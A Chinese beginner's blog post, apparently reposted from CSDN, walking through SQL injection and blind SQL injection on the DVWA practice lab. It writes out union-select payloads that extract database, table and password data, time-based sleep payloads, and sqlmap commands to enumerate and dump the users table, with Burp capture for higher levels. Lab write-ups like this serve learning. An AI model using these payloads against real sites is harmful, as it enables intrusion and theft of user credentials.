首页 > 数据库 >【小猪学渗透】打靶第1天:DVWA入门:SQL注入、SQL盲注

【小猪学渗透】打靶第1天:DVWA入门:SQL注入、SQL盲注

时间:2024-03-20 12:30:16浏览次数:36  
标签:语句 union 打靶 dvwa DVWA SQL 盲注 select low

  • 前言
    小猪同学正式开始了渗透测试的学习,今天是入门打靶DWVA- -
    真是开心的一天呢- -
  • 参考文章
    这是一篇来自于csdn的攻略文
  • 开始-环境搭建
    小猪同学已经事先搭建好了靶场。在这里插入图片描述

sql手工注入
low
输入1 and 1=1判断注入点
在这里插入图片描述
输入1’ and 1=1
在这里插入图片描述
报错
在这里插入图片描述
发现注入点,受到单引号闭合的影响
在这里插入图片描述
当注入点受到单引号和双引号影响:#把后面的代码注释掉,就可以解决这个问题
在这里插入图片描述
语句1’ or 1=1#带出所有数据

1’ and 1=1 order by 1
1’ and 1=1 order by 2
1’ and 1=1 order by 3
…判断字段数量
在这里插入图片描述
在这里插入图片描述
由于在3时显示错误,所以字段数量为2

union联合查询
在这里插入图片描述
1’ union select 1,2#语句

在这里插入图片描述
-1’ union union select 1,2#语句

下一步进行内容信息查询
把1’ union union select 1,2#语句中的数字2替换为你需要执行的sql命令
在这里插入图片描述
查找数据库名字:database(),所查出来数据库名字为dvwa

在这里插入图片描述
查找表名:table_name from information_schema.tables where table_schema=‘dvwa’

遭遇错误:
在这里插入图片描述
发现是自己的语句开头的1’ union select…的’没有打导致的错误。
在这里插入图片描述
正确的语句是:1’ union select 1, group_concat(column_name) from information_schema.columns where table_name='‘users’#

在这里插入图片描述
最后查看密码:-1’ union select group_concat(user_id,first_name),group_concat(user,password) from users#
(注意命令比较复杂不要输错)

medium
在这里插入图片描述
用burp抓包
在这里插入图片描述
发到repeater上改包,可以操作
在这里插入图片描述
利用brup重复之前low级别的动作即可。

high

操作和low一样,据说可以防sqlmap

SQL 盲注
所谓对的盲注没有数据返回
布尔盲注:返回是不是
还有时间盲注和报错盲注
low
先判断是数字型还是字符型:一般习惯于用and 1=2,如果是数字型,返回错误,但如果是字符型,返回正确
1 and 1=2
在这里插入图片描述
进一步猜测
1’ and ‘1 ’ = ‘2 (每一个位置都放上’):逻辑错误
在这里插入图片描述
1’ and '1 ’ = '1: 逻辑正确
在这里插入图片描述
所以说这个空应该是字符型

时间盲注:
语句:1 and sleep(5)# 延迟是数字型,不延迟是字符型。

sqlmap的安装

不用安装,直接上kali

输入1,抓包
在这里插入图片描述
用抓的地址 sqlmap.py -u [地址]
在这里插入图片描述

报错,重新下载
在这里插入图片描述
修复完毕,重新之前的操作出现302重定向,302重定向说明需要cookie,

在这里插入图片描述

在这里插入图片描述
爆出所需要的payload
命令后加 --dbs,爆出所有数据库
在这里插入图片描述
命令后加–current-db,爆出当前数据库
在这里插入图片描述
命令 -D dvwa --tables(列出dvwa数据库中全部表名)
在这里插入图片描述
命令-D dvwa -T users --columns(如上图所示,列出user表中字段信息)
在这里插入图片描述
命令-D dvwa -T users -C user,password,user_id --dump:到最后算崩了,kali重启了- -

在这里插入图片描述
经过实践验证这个盲注是GET型
修复后,破解出来的表是这样子滴:
在这里插入图片描述

medium
抓包,是POST方式

nano指令在sqlmap文件夹下编辑一个1.txt文档在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
爆出payload,剩下的就是重复之前的操作了。

high
在这里插入图片描述
nano修改之前的1.txt,改为抓弹出页的包,-second-url“”后面这个地址是第一个页面的地址。
在这里插入图片描述
报错:检查之后发现需要重新保存数据包信息
1.txt应该保存POST数据包的内容,后面–second-url的地址应该是GET数据包的地址

在这里插入图片描述
之后重复low的命令即可。

标签:语句,union,打靶,dvwa,DVWA,SQL,盲注,select,low
From: https://blog.csdn.net/weixin_43521720/article/details/136797027

相关文章

  • MySQL 索引的10 个核心要点
    文章目录......
  • 为什么延迟删除可以保证MYSQL 与redis的一致性?
    看过很多保持MYSQL与redis保持一致性的文章都提到了延迟删除,其实脱离任何业务场景的设计都是不切实际的,所以我会本着一个通用的读写场景去分析为什么延迟删除大概率可以保证MYSQL与redis的最终一致。通常的读写场景通常在使用redis作为读写缓存时,我们采用的是cacheasidepatte......
  • MySQL 大表丝滑变更 (online schema change)
    近接到业务需求,要对1张6千万数据量和1张2千万数据量的,MySQL大表进行增加字段,增加索引变更,为不锁表影响业务,调研后决定使用pt-online-schema-change工具操作,现详细记录如下。什么是大表一张MySQL表的数据量如果在千万级或以上,则可以认定为大表。如果在百万级,但是字段数量非......
  • PHP无法连接MySQL8.0数据库问题处理 报错如下: SQLSTATE[HY000]
    PHP无法连接MySQL8.0数据库问题处理报错如下:SQLSTATE[HY000][2054]Theserverrequestedauthenticationmethodunknowntotheclient发生这种错误,是由于MySQL8默认使用了新的密码验证插件:caching_sha2_password,而之前的PHP版本中所带的mysqlnd无法支持这种验证。解决这个问......
  • 在Linux中,MySQL数据库日常运维中涉及哪些关键任务?
    在Linux环境下,MySQL数据库的日常运维涉及到一系列关键任务,旨在保证数据库的稳定性、性能和数据完整性。以下是一些核心运维任务:性能监控与调优使用MySQL自身的SHOWSTATUS、SHOWVARIABLES、EXPLAIN等命令,或结合第三方工具(如PerconaToolkit、MySQLEnterpriseMonitor、Prom......
  • 关于SQL假数据生成
     客户端连接手机数量历史记录表:CREATETABLE`xw_client_phone_history`(`id`int(11)NOTNULLAUTO_INCREMENT,`client_user_name`varchar(255)DEFAULTNULLCOMMENT'客户端用户名',`brand_code`varchar(255)DEFAULTNULLCOMMENT'品牌编码',`computer_i......
  • Cannot resolve com.microsoft.sqlserver:sqljdbc4:4.0解决方案
    问题:<dependency> <groupId>com.microsoft.sqlserver</groupId> <artifactId>sqljdbc4</artifactId> <version>4.0</version></dependency>爆红解决方案1手动下载jar包MavenRepository:com.microsoft.sqlserver»sqljdbc4»4.0......
  • 040_Windows下MySQL定时备份
    目录定时备份脚本计划任务定时执行定时备份脚本remauther:zhyqremdate:20220929rem******BackupMySQLStart******@echooff::设置时间变量set"Ymd=%date:~0,4%%date:~5,2%%date:~8,2%"::创建存储的文件夹ifnotexist"C:\mysql_backup"md"C:\mysql_backup"......
  • 提高 SQL Server 使用技巧的有效方法
    简介:在日益复杂的数据库环境中,有效地利用SQLServer是每个开发人员和数据库管理员的重要任务。本文将介绍一些实用的技巧,帮助你提高在SQLServer上的工作效率,并优化代码的可读性和性能。1.提高SQLServer存储过程可读性的技巧在SQLServer中编写存储过程时,保持......
  • MySQL8设置允许简单密码
    [https://blog.51cto.com/u_16175454/9981004#:~:text=MySQL8设置允许简单密码1登录MySQL数据库首先,使用root用户登录到MySQL数据库。mysql-u,5刷新权限在修改后,需要刷新权限使更改生效。...6验证设置最后,验证设置是否生效。](https://blog.51cto.com/u_16175454/99......